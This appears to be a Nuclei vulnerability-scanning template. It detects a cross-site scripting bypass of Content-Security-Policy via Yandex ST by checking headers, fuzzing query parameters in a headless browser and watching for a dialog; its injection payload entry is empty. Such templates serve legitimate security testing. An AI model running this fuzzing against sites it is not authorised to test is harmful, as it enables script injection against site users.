id: yandex-st-csp-bypass
info:
name: Content-Security-Policy Bypass - Yandex ST
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,yandex-st
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "yandex.ru"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: yandex_st_csp_xss
args:
max-duration: 5s
payloads:
injection:
-
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "yandex_st_csp_xss == true"
# digest: 4a0a00473045022100b8244911da3aa583a2435b9f73a1c44c691bc8a0cc613fafadca5ce954e7d14402205d8add6669e120508311640b455104356cd9e173a0cd5a4e2e79cf8a34bf22b2:922c64590222798bb761d5b6d8e72950